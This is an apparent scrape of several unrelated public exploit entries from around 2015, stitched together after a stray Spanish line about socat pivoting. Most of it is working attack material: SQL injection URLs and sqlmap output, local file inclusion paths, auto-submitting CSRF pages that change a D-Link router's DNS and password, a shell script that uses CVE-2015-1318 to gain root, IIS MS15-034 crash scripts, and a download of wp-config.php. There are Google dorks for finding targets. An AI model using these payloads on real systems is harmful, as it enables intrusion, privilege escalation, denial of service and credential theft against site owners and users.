Y hasta aquí las funcionalidades de socat que nos puede ser muy útil para pivoting. Socat es una gran y compleja herramienta, aquí solo hemos visto la parte enfocada a redireccionamiento de conexiones. Veremos más cositas en otros posts. Y conforme aprenda más sobre Pivoting con Socat, también se irá agregando.

=======================================================================
              title: SQL Injection
            product: WordPress Tune Library Plugin
 vulnerable version: 1.5.4 (and probably below)
      fixed version: 1.5.5
         CVE number: CVE-2015-3314
             impact: CVSS Base Score 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P)
           homepage: https://wordpress.org/plugins/tune-library/
              found: 2015-01-09
                 by: Hannes Trunde
                     
               mail: hannes.trunde@gmail.com
            twitter: @hannestrunde

=======================================================================


Plugin description:
-------------------
"This plugin is used to import an XML iTunes Music Library file into your 
WordPress database. Once imported, you can display a complete listing of your 
music collection on a page of your WordPress site."

Source: https://wordpress.org/plugins/tune-library/


Recommendation:
---------------
The author has provided a fixed plugin version which should be installed 
immediately.


Vulnerability overview/description:
-----------------------------------
Because of insufficient input validation, a sql injection attack can be
performed when sorting artists by letter.

However, special conditions must be met in order to exploit this vulnerability:
1) The wordpress security feature wp_magic_quotes(), which is enabled by 
   default, has to be disabled.
2) The plugin specific option "Filter artists by letter and show alphabetical
   navigation" has to be enabled.

   
Proof of concept:
-----------------
The following HTTP request to the Tune Library page returns version, current 
user and db name:
===============================================================================
http://www.site.com/?page_id=2&artistletter=G' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20
===============================================================================


Contact timeline:
------------------------
2015-04-08: Contacting author via mail.
2015-04-09: Author replies and announces a fix within a week.
2015-04-12: Mail from author, stating that plugin has been updated.
2015-04-14: Requesting CVE via post to the open source software security mailing 
            list: http://openwall.com/lists/oss-security/2015/04/14/5
2015-04-20: Release of security advisory.


Solution:
---------
Update to the most recent plugin version.


Workaround:
-----------
Make sure that wp_magic_quotes() is enabled and/or disable "Filter artists by
letter..." option.
            
source: https://www.securityfocus.com/bid/52025/info
  
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
  
11in1 1.2.1 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/index.php?class=do&action=addTopic" method="post">
<input type="hidden" name="name" value="New Topic Name here">
<input type="hidden" name="sec" value="3">
<input type="hidden" name="content" value="New Topic Content here">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
            
source: https://www.securityfocus.com/bid/52025/info
 
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
 
11in1 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/index.php?class=../../../tmp/file%00
            
source: https://www.securityfocus.com/bid/52025/info

11in1 is prone to a cross-site request-forgery and a local file include vulnerability.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.

11in1 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?class=../../../tmp/file%00
            
# Exploit Title: Buffer Overflow in Oracle� Hyperion Smart View for Office
[DOS]
# Exploit Author: sajith
# Vendor Homepage: http://oracle.com
# vulnerable Version: Fusion Edition 11.1.2.3.000 Build 157
#Vulnerable Link:
http://www.oracle.com/technetwork/middleware/smart-view-for-office/downloads/index.html
# Tested in: Microsoft Windows 7 Enterprise 6.1.7601 Service Pack 1
[x64],en-us
#plugin tested with Microsoft Excel 2010
#CVE: CVE-2015-2572

Responsible Disclosure:

Reported to Oracle on Jul 7, 2014
patch released on April 14, 2015

How to reproduce the bug?


1)install "Smart view" and open Microsoft excel and click on "smart view"
tab

2)click on "Options" and then click on "Advanced" tab

3) In General menu in "shared Connections URL" enter large value say 50000
"A"'s and press ok, the application crashes, the output of the crash
analyzed in debugger is shown below

Note:Plugin once installed automatically integrates with Microsoft office
products like,excel,Word,PowerPoint,Microsoft office.so the vulnerability
can be exploited via any of these products.

==================python script to create 50000 "A"'s============


try:

    print "POC by sajith shetty"

    f = open("text.txt","w")

    junk = "A" * 50000

    f.write(junk)

    print "done"

except Exception, e:

        print "error- " + str(e)


Debugger o/p:

eax=00410061 ebx=0041005d ecx=00410041 edx=00000000 esi=00410061
edi=0041005d
eip=779622d2 esp=0040b7f8 ebp=0040b80c iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010206
ntdll!RtlEnterCriticalSection+0x12:
779622d2 f00fba3000      lock btr dword ptr [eax],0
ds:002b:00410061=????????

caused by MODULE_NAME: HsAddin


start    end        module name
0fb50000 111a0000   HsAddin    (export symbols)
C:\Oracle\SmartView\bin\HsAddin.dll
    Loaded symbol image file: C:\Oracle\SmartView\bin\HsAddin.dll
    Image path: C:\Oracle\SmartView\bin\HsAddin.dll
    Image name: HsAddin.dll
    Timestamp:        Wed Mar 27 04:27:50 2013 (515227EE)
    CheckSum:         0163F951
    ImageSize:        01650000
    File version:     11.1.2.3085
    Product version:  11.1.2.3085
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Oracle Corporation
    ProductName:      Oracle� Hyperion Smart View for Office, Fusion Edition
    InternalName:     CommonAddin
    ProductVersion:   11.1.2.3.000.157
    FileVersion:      11.1.2.3085
    FileDescription:  Oracle� Hyperion Smart View for Office, Fusion Edition
    LegalCopyright:   Copyright 2004, 2013 Oracle Corporation.  All rights
reserved
    LegalTrademarks:  Oracle� is registered.
            
#!/bin/sh
#
# CVE-2015-1318
# 
# Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758
# 
# Example:
#
# % uname -a
# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
#
# % lsb_release -a
# No LSB modules are available.
# Distributor ID: Ubuntu
# Description:    Ubuntu 14.04.2 LTS
# Release:    14.04
# Codename:   trusty
#
# % dpkg -l | grep '^ii  apport ' | awk -F ' '  '{ print $2 " " $3 }'
# apport 2.14.1-0ubuntu3.8
#
# % id
# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)
#
# % ./apport.sh
# pwned-4.3# id
# uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...)
# pwned-4.3# exit

TEMPDIR=$(mktemp -d)

cd ${TEMPDIR}

cp /bin/busybox .

mkdir -p dev mnt usr/share/apport

(
cat << EOF
#!/busybox sh
(
cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned
chmod 5755 /mnt/1/root/tmp/pwned
) 
EOF

) > usr/share/apport/apport

chmod +x usr/share/apport/apport

(
cat << EOF
mount -o bind . .
cd .
mount --rbind /proc mnt
touch dev/null
pivot_root . .
./busybox sleep 500 &
SLEEP=\$!
./busybox sleep 1
./busybox kill -11 \$SLEEP
./busybox sleep 5
EOF
) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \
    lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null

/tmp/pwned -p

rm -Rf ${TEMPDIR}
            
######################

# Exploit Title : Wordpress Ajax Store Locator <= 1.2 SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://codecanyon.net/item/ajax-store-locator-wordpress/5293356

# Software Link : Premium

# Dork Google: inurl:ajax-store-locator
#              index of ajax-store-locator      

# Date : 2015-03-29

# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox

######################

# Info:

 The "sl_dal_searchlocation_cbf" ajax function is affected from SQL Injection vulnerability
 
 "StoreLocation" var is not sanitized

# PoC Exploit:

 http://TARGET/wordpress/wp-admin/admin-ajax.php?action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1 AND (SELECT * FROM (SELECT(SLEEP(10)))LCKZ)
 
 StoreLocation's value must contain "~" delimiter
 
 $storeLoc = $_REQUEST["StoreLocation"];
 ...
 ...
 $qryVal = explode("~", $storeLoc);
 $sql_query = "SELECT a.*,b.*, 0 as ......... LEFT JOIN `$sl_tb_pluginset` as b ON (1=1)  WHERE a.id=$qryVal[1]"

# PoC sqlmap:

 sqlmap -u "http://TARGET/wordpress/wp-admin/admin-ajax.php?action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1" -p StoreLocation --dbms mysql

 [18:24:11] [INFO] GET parameter 'StoreLocation' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable 
 for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
 [18:24:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
 [18:24:18] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
 [18:24:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
 [18:24:29] [INFO] checking if the injection point on GET parameter 'StoreLocation' is a false positive
 GET parameter 'StoreLocation' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
 sqlmap identified the following injection points with a total of 89 HTTP(s) requests:
 ---
 Parameter: StoreLocation (GET)
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1 AND (SELECT * FROM (SELECT(SLEEP(5)))LCKZ)
 ---
 [18:29:48] [INFO] the back-end DBMS is MySQL
 web server operating system: Linux CentOS 5.10
 web application technology: PHP 5.3.3, Apache 2.2.3
 back-end DBMS: MySQL 5.0.12
 

 
#####################

Discovered By : Claudio Viviani
                http://www.homelab.it
                http://adf.ly/1F1MNw (Full HomelabIT Archive Exploit)
				http://ffhd.homelab.it (Free Fuzzy Hashes Database)
				
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################
            
#Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1:	
 sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host)
            
# Exploit Title     :WordPress MiwoFTP Plugin 1.0.5 Arbitrary File Download Exploit
# Vendor			:Miwisoft LLC
# Vendor Homepage   :http://www.miwisoft.com
# Version  			:1.0.5
# Tested on         :Win7/Chrome/Firefox
# Exploit Author    :Necmettin COSKUN =>@babayarisi
# Discovery date    :04/15/2015
  

MiwoFTP is a file manager plugin for Wordpress.

  
Description
================
Wordpress MiwoFTP Plugin 1.0.5 suffers from arbitrary file download vulnerability.

Poc Exploit
================
 http://localhost/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=/&item=wp-config.php&order=name&srt=yes
  
================
#RCE/XSS/CSRF by Gjoko 'LiquidWorm' Krstic

#http://www.exploit-db.com/exploits/36763/
#http://www.exploit-db.com/exploits/36762/
#http://www.exploit-db.com/exploits/36761/
================

Discovered by:
================
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!
            
/*
 UNTESTED - MS15-034 Checker
  
 THE BUG:

	8a8b2112 56              push    esi
	8a8b2113 6a00            push    0
	8a8b2115 2bc7            sub     eax,edi
	8a8b2117 6a01            push    1
	8a8b2119 1bca            sbb     ecx,edx
	8a8b211b 51              push    ecx
	8a8b211c 50              push    eax
	8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here

	ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

	BY: john.b.hale@gmai.com
	Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 

int connect_to_server(char *ip)
{
	int sockfd = 0, n = 0;

	 struct sockaddr_in serv_addr;
	 struct hostent *server;

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    	{
        	printf("\n Error : Could not create socket \n");
        	return 1;
    	}

	memset(&serv_addr, '0', sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;
    	serv_addr.sin_port = htons(80);
	if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
    	{
        	printf("\n inet_pton error occured\n");
        	return 1;
    	}
	if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    	{
       		printf("\n Error : Connect Failed \n");
      		return 1;
    	} 

	return sockfd;
}
	

int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];

    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";

    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    } 

    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request)); 
    read(sockfd, recvBuff, sizeof(recvBuff)-1);

    if (!strstr(recvBuff,"Microsoft"))
    {
		printf("[*] NOT IIS\n");
		exit(1);
    }

    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
	printf("[*] Looks Patched");
} else
	printf("[*] Unexpected response, cannot discern patch status");
	

		

}
            
source: https://www.securityfocus.com/bid/51991/info
  
STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/team.php?team=[SQLi]' 
            
source: https://www.securityfocus.com/bid/51991/info
 
STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/prospect.php?team=[SQLi]' 
            
source: https://www.securityfocus.com/bid/51991/info

STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. 

 http://www.example.com/prospects.php?team=[SQLi]' 
            
source: https://www.securityfocus.com/bid/51987/info

ProWiki is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wiki4d/wiki.cgi?action=browse&id=[XSS] 
            
######################

# Exploit Title : Wordpress Video Gallery 2.8 SQL Injection Vulnerabilitiey

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://www.apptha.com/category/extension/Wordpress/Video-Gallery

# Software Link : https://downloads.wordpress.org/plugin/contus-video-gallery.2.8.zip

# Dork Google: inurl:/wp-admin/admin-ajax.php?action=googleadsense
            

# Date : 2015-04-04

# Tested on : Windows 7 / Mozilla Firefox
              Linux / Mozilla Firefox         

######################

# Description

 Wordpress Video Gallery 2.8 suffers from SQL injection
 
 
 Location file: /contus-video-gallery/hdflvvideoshare.php
 
 add_action('wp_ajax_googleadsense' ,'google_adsense');
 add_action('wp_ajax_nonpriv_googleadsense' ,'google_adsense');
 function google_adsense(){
     global $wpdb;
     $vid = $_GET['vid'];	
     $google_adsense_id =  $wpdb->get_var('SELECT google_adsense_value FROM '.$wpdb->prefix.'hdflvvideoshare WHERE vid ='.$vid);
     $query = $wpdb->get_var('SELECT googleadsense_details FROM '.$wpdb->prefix.'hdflvvideoshare_vgoogleadsense WHERE id='.$google_adsense_id);
     $google_adsense = unserialize($query);
     echo $google_adsense['googleadsense_code']; 
     die();

 $vid = $_GET['vid']; is not sanitized

######################

# PoC

 http://target/wp-admin/admin-ajax.php?action=googleadsense&vid=[SQLi]


######################

# Vulnerability Disclosure Timeline:

2015-04-04:  Discovered vulnerability
2015-04-06:  Vendor Notification
2015-04-06:  Vendor Response/Feedback 
2015-04-07:  Vendor Send Fix/Patch (same version number)
2015-04-13:  Public Disclosure 

#######################

Discovered By : Claudio Viviani
                http://www.homelab.it
				http://ffhd.homelab.it (Free Fuzzy Hashes Database)
				
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################
            
source: https://www.securityfocus.com/bid/51985/info

D-Link DAP-1150 is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected device. Other attacks are also possible.

D-Link DAP-1150 firmware version 1.2.94 is vulnerable; other versions may also be affected. 

<html>
<head>
<title>Exploit for D-Link DAP 1150. Made by MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
for (var i=1;i<=3;i++) {
var ifr = document.createElement("iframe");
ifr.setAttribute(&#039;name&#039;, &#039;csrf&#039;+i);
ifr.setAttribute(&#039;width&#039;, &#039;0&#039;);
ifr.setAttribute(&#039;height&#039;, &#039;0&#039;);
document.body.appendChild(ifr);
}
CSRF1();
setTimeout(CSRF2,1000);
setTimeout(CSRF3,2000);
}
function CSRF1() {
window.frames["csrf3"].document.body.innerHTML = &#039;<form name="hack"
action="http://www.example.com/index.cgi"; method="get">\n<input type="hidden"
name="v2" value="y">\n<input type="hidden" name="rq" value="y">\n<input
type="hidden" name="res_json" value="y">\n<input type="hidden"
name="res_data_type" value="json">\n<input type="hidden"
name="res_config_action" value="3">\n<input type="hidden"
name="res_config_id" value="7">\n<input type="hidden" name="res_struct_size"
value="0">\n<input type="hidden" name="res_buf"
value="{%22manual%22:true,%20%22ifname%22:%22%22,%20%22servers%22:%2250.50.50.50%22,%20%22defroute%22:true}">\n</form>&#039;;
window.frames["csrf3"].document.hack.submit();
}
function CSRF2() {
window.frames["csrf4"].document.body.innerHTML = &#039;<form name="hack"
action="http://www.example.com/index.cgi"; method="get">\n<input type="hidden"
name="res_cmd" value="20">\n<input type="hidden" name="res_buf"
value="null">\n<input type="hidden" name="res_cmd_type" value="bl">\n<input
type="hidden" name="v2" value="y">\n<input type="hidden" name="rq"
value="y">\n</form>&#039;;
window.frames["csrf4"].document.hack.submit();
}
function CSRF3() {
window.frames["csrf2"].document.body.innerHTML = &#039;<form name="hack"
action="http://www.example.com/index.cgi"; method="get">\n<input type="hidden"
name="v2" value="y">\n<input type="hidden" name="rq" value="y">\n<input
type="hidden" name="res_config_action" value="3">\n<input type="hidden"
name="res_config_id" value="69">\n<input type="hidden"
name="res_struct_size" value="1">\n<input type="hidden" name="res_buf"
value="password|">\n</form>&#039;;
window.frames["csrf2"].document.hack.submit();
}
</script>
</body>
</html>